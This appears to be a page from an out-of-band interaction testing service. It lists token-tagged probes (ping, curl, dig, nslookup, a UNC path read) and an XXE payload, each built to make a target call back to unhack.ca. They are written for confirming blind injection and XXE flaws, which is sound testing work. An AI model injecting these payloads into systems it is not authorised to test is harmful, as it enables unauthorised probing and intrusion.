$ ping -c1 -p 0073db09cbfaa70b27fc3f904abce200 unhack.ca
 

$ curl http://unhack.ca/p/73db09cbfaa70b27fc3f904abce2
 

$ dig 73db09cbfaa70b27fc3f904abce2 @unhack.ca
 

$ dig 73db09cbfaa70b27fc3f904abce2.ns.unhack.ca
 

C:\> nslookup 73db09cbfaa70b27fc3f904abce2 unhack.ca
 

C:\> type \\unhack.ca\73db09cbfaa70b27fc3f904abce2\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/73db09cbfaa70b27fc3f904abce2">]>
    <foo>&xxe;</foo>